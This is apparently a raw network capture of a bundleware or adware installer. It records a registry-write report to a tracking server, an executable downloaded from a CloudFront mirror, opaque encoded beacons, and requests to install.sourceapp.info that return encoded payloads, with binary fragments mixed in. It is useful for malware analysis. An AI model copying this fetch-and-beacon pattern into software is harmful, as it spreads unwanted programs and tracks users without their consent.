........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.RegWrite HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 02:01:53 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.77 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 02:01:53 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.77 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache



.".z^.k..L"..-H.&9...T.S..X%)......&.>..Q'...si...5._..Y.N.......Z.
..........c.-...N~.....l...)..(..........fe.j..v<...&..Xx...wTdgX5.
...o@w..;.#~..."u.......Q..'....`...B......:.A.x...b.(..3....\..Z...8M
5S..(....s.h.Bl.W...#6I.]....... .....3...V@\>...b...,.!...A. .K...
.......:........i...?...#.g.....n0...N...|.....^.Q..pbb.O4.{^X.;u....x
&...S... ...<zB.2.C....H.....Xr....%..W3......5u...Z5n.....!y......
.I.........$WJ5...U..'".....!...f...Y..*..]..9Sw..P.....K......]..c...
...3.4......YN...*.........|g._..R....o.....0&x..O...J|X..' 6V..d.....
.4...EGH9.....K.^z...Y..e&..6...;......#....'......__C\....r..".....d.
....P.F.d........#i.............#......8j.u|..f.t.n...d..%......}.....
.Ym.\.?..u....ZVU..#....q[.;&2/.@...=M-SQ.. 5.G....3qu...K.n...{.y....
pW...P2].....J.v{,..=!.Y..5n.$...Dw.....Zs...Y.mcF..\.3n.$=OG.........
[....s.8/.4.......&:.......3...b...Z8.8t./Z..'./S...?.K...h.......6...
......z<... =A..u. [email protected]#8...b..n../....$._K.....
..b:.5.s.{L..4.DO7Yg.5.Fp....#.n.djV ..h......R.....Av(...9>..xC..{
v....I....2OD-.;A...o;.y...H.............R..... ..0....}...T..L...|...
...1ba.Bi..:.t...._.7.....|..a5...m=.@r].O'}..}.y......xa...K.{/qG.f"e
px....c..9ZL..x.Iw....@....=.8(.l?D. _...b7....z/....5.....4..{q...Y.i
...;?...km.R.2..<.7...Xua...^.N`...a......0.SW....>.t...43 P}...
..5.N._l....$....C.......... .WH.v. ......-..-..T..eC~.......K.L17..B.
H.....i..6.&..\...jv.0...5S.zQ..Jr.....a;.....^.qT5......[.>....%.%
..e1.-...UI.........._J............&..Fj:rx.&W1..." ...d.,J..s.:..<<< skipped >>>

GET /p.ashx?e=hpY1rXLYst5PNjxRBLtb4wlu/UMeSmkf/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J31oG/bAbkDO0CN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DoltPqJisDtGNlz6m1J48 dQYf4gGF0f39RnCEeqRSyJ7vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9J4dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5HLnHRSngDc8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RWTIFFE5_4Ommkk0VnuSqfSWhsLC44I87jrlSn1KKlijYThsIM6APw==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1Wp3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29rkDhkj pW/AQ2eWpXLw36n2GEhN6X9rzK3CmI5sRuAO7g2Hxzmvv3kGgfYmnwuwps= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HUIlV7vIyQsinvoVOAdygCxQU1yToPM9FshM_sPTdOIBNKSGieM86g==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1XZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLJbqTd4fPzcoH3Z212Y8XzR HIlIo7HfS8JjONIDolPeAcfYBe5Vmlg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: slEJuh5B0NUyUfQT-iCA6mXY7FUCCOSnZz7HGGoihIETNbRgb3JNHA==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1V7T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxL8k8mbBwY k97vfxAQuamxH0jHGwi37t6bYZuPwzfA/WGIzz461ne9A/NrfOEITMy HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RrmvYQcJZUTL8L3Pig6JPAK1wpG2nW2M1Yi1jhi7-MraAEH2evaBSA==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1VDLf a7VREBQC drCF7eFyJxroAg8B7PuTJrYNC2IKs 4k/Shc0wZjx0aIWLDaSLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb HrgF912tk0 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: f56YOEh-pEj8VEOA6M8TjqLA0sxZF6PX0e-Ssw3lyhLZCD9T6HY0BQ==

....

GET /p.ashx?e=PcwT4QFtuPDEA05CBT6a0SGvd gjBe89vJPJtB3vRf94E7mrr1h80v8gl1CzC7piUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb/08PMG2RDQ9 lWLUtT/Ob8PRD2wFYfQnfWgb9sBuQM7QI32H5tXX1WYSQXKBzk9X6XwtLXz/thLs IILilpWF1CwZZVFr3GqEWlOV1/Fwps4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE2/h64BfddrZNA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaE6e8rOu6iJpxQC drCF7eFzkjJuEmyP5Qt vpQc1Xk5wfOIY6BQRhaqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AHV/x3PSKBuvgTSI/qrdNYMlPIi5yrtAQY5QUnCkyAtX/Lsoe/oLq1VnlI/iF4X8g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GpCqYVzXejRYEVX9OMCLuuvk_FPqtS1blZ7x0J6G_1TnNt4mjvzOxA==

....

GET /p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS/JPJmwcGPpPe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vQPza3zhCEzMg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KD2kWWKsYIEUg5Rsr56Y8ar94r3IVnNX2UY2Z2P0QPfOD7WMfJqf1w==

....

GET /p.ashx?e=WVbe3wHlwMGf05G2dnM6gIDPU82h5aXbjA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLweRhSCZU77lcfdnbXZjxfNH4ciUijsd9LwmM40gOiU96u THEZRjxaMSCFqUzxEuK5pBCt6gYiqoqOiOfWJmOA7bXYxZ9FAxGYCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ w5ete8oeBwFnBYDrckOrBDYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS7zkSX2fb5qItS2/HkOO2vTX7CKO3gby7floKtuONPXpGA6IeSb7Mf4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6RQEXyXJhMK62ofBYpsDnwb-IjW70duxogWXzbVbNp85CeJ0nMdRPA==

....

GET /p.ashx?e=KSz5qzb2KgLgYhkkxDuat kCkRqCe6co7OXLse4BafSoipMojeRGOY2 5cMBkwSYtd YwXVgml BNIj qt01gyU8iLnKu0BBjlBScKTIC1f8uyh7 gurRsgiMVE/woTKPuMdH9xkPFYS5k6/5B5fAS Pt0yz4mG4u3oGHN86wMVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4WvqlYaxbLxssmdOYlMc5582M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vjGY6Ul_0W25Rl0bpAT8b6_egmcG-twHd4QYFq29PPyy_XwvIwVUZg==

....

GET /p.ashx?e=eFCD8T/coiccIOUsnkwoNd0cltsObsHAKEYqsDiMOl1AXdQqxJ1va0uGoedNVFAuIR1sKxPFdTenMA0Kr2gT8ptsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxeYneqzwGmJHpKb81Sa5kgtoqKD5 RG1khKbjxL3vJrvZSXTHO//VDUbGtOpbXm9kB1gsLoXCDzZ0JQd5HxgIXcTHJmmjSUu6zZU9mzeGILG2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2uQOGSP6lb8BDZ5alcvDfqfYYSE3pf2vMrcKYjmxG4A7uDYfHOa /eQaB9iafC7Cmw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GXTqk-4G54RtJhn8qOJtC0j4XAQt9cXFAVBsp5_9t2l5oPJgrsoHHw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 02:01:09 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1
d1.cloudfront.net (CloudFront)..X-Amz-Cf-Id: GXTqk-4G54RtJhn8qOJtC0j4X
AQt9cXFAVBsp5_9t2l5oPJgrsoHHw==......

GET /p.ashx?e=A8MIvlEETmb4YOj/qSs/oHlL/fEssKcT1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lG2RzYeimzUC1Lb8eQ47a9NfsIo7eBvLt Wgq24409ekYDoh5Jvsx/nwF8xC533FcNLVXkHqu5mvMMv39XlAOU69kXRc7pJh5b GEwPiedNIqjHjRwH0s7BD4NsK07Wi5s IILilpWF0vmoXMQKU1KqXll49muGHNYT/V7WBAfCq0JUba1DwT6KzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYqfPtbgMQry48eeFc/zCry2zVQk8gY3vhjPQ6wHhFi22D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyW6k3eHz83KB92dtdmPF80fhyJSKOx30vCYzjSA6JT3gHH2AXuVZpY HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: iCbTcZBIyjCuwmLztFlBHtSmYB0Wq8I5-CZ7TPWu3sG6djZ45hU9tg==

....

GET /p.ashx?e=uWabAt9SLcwd5zMhdw4gNt0cltsObsHANDxd868wyPhAXdQqxJ1va0uGoedNVFAuIR1sKxPFdTenMA0Kr2gT8ptsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxeYneqzwGmJHpKb81Sa5kgtoqKD5 RG1khKbjxL3vJrvBNvUxdy4Ypecp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoU bIg4xIYuq nZqXfCJ/fZEh4y553lLc6pAHiQrZRJ /sUSfHhp7x HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LKO-0Qg5Rj7TDI9gGhkmRnBM8kv1jIv7VNprZ0B0jx68k8rT3gkJ3g==

GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:04:03 GMT

Last-Modified: Thu, 19 Feb 2015 15:18:48 GMT

Server: ECS (frf/8799)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015021
9064612Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20150204201215Z....20150519201715Z0...*.H...................s
...H...2.e..Sl3..9..^G.....z}t..d......j...-@\f. ^.......*.n.{V.pM...y
....g=...2.o..1X..~./..F...q.. /?7".e.[...=o...,.....`......;.X....3P.
Z....\E..AW.U....C.~q.R56....&Z..7.....%....A.....>...G.0....].-.&g
t;L..!}..9.GD...e.A.x"_...S.B'k..o.4.}....|......0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../[email protected]
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....
j.t%..e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..u
d.....CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&.
...q.[z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?...
.E...........'>..O.._..<<< skipped >>>

GET /mg?alpha=MBJOIngOWHd0Q3NWYQh3MVYdL3gwVExTekB+OGhnQkMPQg8Wa1NQYzBUTywrb3VWdgQwYVQlT1plH3dqIxp0Lw1IRVJtc2AhQzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Feb 2015 02:01:53 GMT

Content-Length: 2004

LTousThyBlvjchpBE81nOmJquTd4LXGmc0kNeOEuI2NutXkxBnvVXD0AScsUYzA5pBVpFF
K5aFJVHIlbVQM wgsBejnzeg85ZvAvDmY7in4DSmu1Jn1mKJh7NzhYpnFrHTDtL2RUaJYK
ai1M5jQkPiG6AXEQXKEveXwqvmp9OzTgEgZtfqdgOTpkqH8HZRqMbxF3bLkibkwjmGsARi
aldXcoJ7svIQV6gAltLCC9PyBwaLFYPxkI4il1LnWpbG06H60FUWE4vzR1ZiSmKRh6Dc0w
fV5TgwMpI2mNaR8MPvk2SCIx/mM8E2yZB3M7XtsJM3N4sQduXD3sJGh4IK88NH0U4BIGbR
L8Yyl0MuooDWZEzW8nZn2zIG5rHZxkHgE  XpuNy67Ly4ZbJQDUSl27i8kX3OxF3ZeSuUr
bX8q8TxxLAb2EQFsfqdoLTp74XFDbxCOaSs0IqQmfmo20XNJDXjhLiJqbrV5MQZ71Vw9AE
nUDmMwOaQVaRRSuWhSdTy0cGw6EO8fH3sAwV04JGHqOhIoRM18PnpttRpqYi7fMgURcK84
OT4652grAnuTMH4kd J7e3JuuBgxXhbsOGJpAbxqcSkHwhYWaze/NCo3ZPc4TSgBnG4oeW
q0djFpKpF7Dkg pmx6ODa1NzwEa5IbMzMg7j1jJiLmWD8ICfMvIzZtlVVLCECtXANpKPUs
dnRb/S4IZByKeDF3dKMIV04 iWc5EXKwNjd5NPZhPRNQlgt6ajjpLC1wN/YRZQwV4D5kaB
m8cm06QLsQBmQwsSwqOXrnOC9rHIZ8OlVwtTdgLXGbaQcXee82cigm4GI6EjzNAH4kceJ1
Y3ljtRdpXkr3OHRpMvFlOjYGo0RKO3C/ejUmbaZnQ0IjvF19OjqgNX9naccqOB1vqnpvPj
D5bCQFQqs2bSdhwywsbDn4VmsdHPYvT20iuDwiMRftEl8qOeV KTV84Tk3awSab30sdqU4
ZyNpm2cZB3mNdW8yNPJOIBN9nEQlLmPrKiQwOb0HeQsf8S4jNim8cms6TqMbC2k/6Sx2In
rxOBwmE81jOzQi6WAnLT EeA5GJuFcUAgVtSFqBn DDj1yIMowIm50pxt7CCzfHWhiK7Jp
awM wgsBejnzehozevc0DmQ0s18xf3ajIGpjJ6FUKgpoqlh0PCXyf2paPIEHcz1nyTgseT
nuGmgQHK9oZHQ/uH1sOgbXHx99Ob80IiNk6HFDbAedaTpYeaQ9fWoIlW0IDz75cno3MfIh
ah9tkxFwOmalYyd9d6cRMV4V ytieG3namoqB/xSCCo1 Sx2Zzi2cUN EZ9vfSw6mB9YWG
nRKhsFaKs2IXkP/m46GW2YAGsUXtAwL3h0owdBIDP2OHNpIalIfS0R6BEdVADIYCU4e/A8
DWY0s102ZH2jPGp9IN8kSRJ9r2F FSP6aGpMcIIKc2Qg4iExeXigEXkqEe8/ZC51s2t0M0
6jGBx6P/hALSJh8jgiYg2MYX0sfrE4eGpn32EYAGusZn95ePFsJAV720R6MGPkLWMm

<<< skipped >>>

GET /fp?alpha=OgcnIFgTBDdkQzIoCApXO0N0LVg6WzFRGR0GZj8EPRMqIB44diVQNExNOFIJe2dQBiEndTwgHjsJdH8/IlNbICsgABBKL2tSNTNOH1NcLUd5BiRsBi0fcFRdRGknYk0/U2Y0XGp9Ll80PUA7OwpgFCp0Jzt5SSYHJwF2flhtEQUtSClCNH4Ldl43NQkSF1lOSikbMXZVPFN6TF1NeSM3WW1fazVZf3onRjAxVWkkGTUWMidwKiVLNEh7DBYkEWoMAmg+MFA2ZAA0B25yVBNEQTI+DA1zM1AhAHJdWUxvJWBSbRUnOzo2JXMJcXtVT3NfM092IGZUPUorGSIGdEZYehcCdCMlBW08Wh9eNzh8TgAgU1wNHiBsdSUBdkFZTG8sEEZPUQlCKW0BWlMFazNW HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 24 Feb 2015 02:01:57 GMT

Content-Length: 0

....

GET /ii?alpha=OgcnIFgjSExaYwoWCApXO0N0LVg6WysIVQ80MzEdaFttZx0vdkQJc3oWbldJJgd7M3F4CB0vGCYAc2JOPUxZIzBVDWc6X21NaGYAB1Y+DQc4GmQgEm9Vf15eTh0tYTA8Sw1ELmpmIyM0PFgzJAoXDCN1JD8FTFdsVwF/eFhiFFYjOBIIZzxfbkUxJxNEBE9PUnodIHcSeFckLhoTZHw3DHwKJHQIeS9yAER6Gl0rCGYPImstOHFJPBsgBHR9WGgHBFxxBwgAX0g0GHVsTRMKNhcELERmMhg8BHZBChUtMz0HegM5OyA2KGUJdWcTfzZuP092KmN5YU4yemReICkNfAsEfn8IFRssTi0Oc2ZUGVlBREp+BSBvAyoCc0wbGStjOxdpRjtnDjRrLUY3JkUteUo6QHwiKU8vHn5DZVlmZCthCx91ekRmIW0aPhgoM1MAClVYBHpbLDgSfUR/VVhQaCVgUmEHdjZdZX4nXDM+TzknA2YQKHIgLCUNL3xbRic+GyNCPV1pBUcwLDgyGXVgXBoXMl45C3hYYXB1QSlMLBkvfDERKgMlZVBubW1bN21kSXl8OUM= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

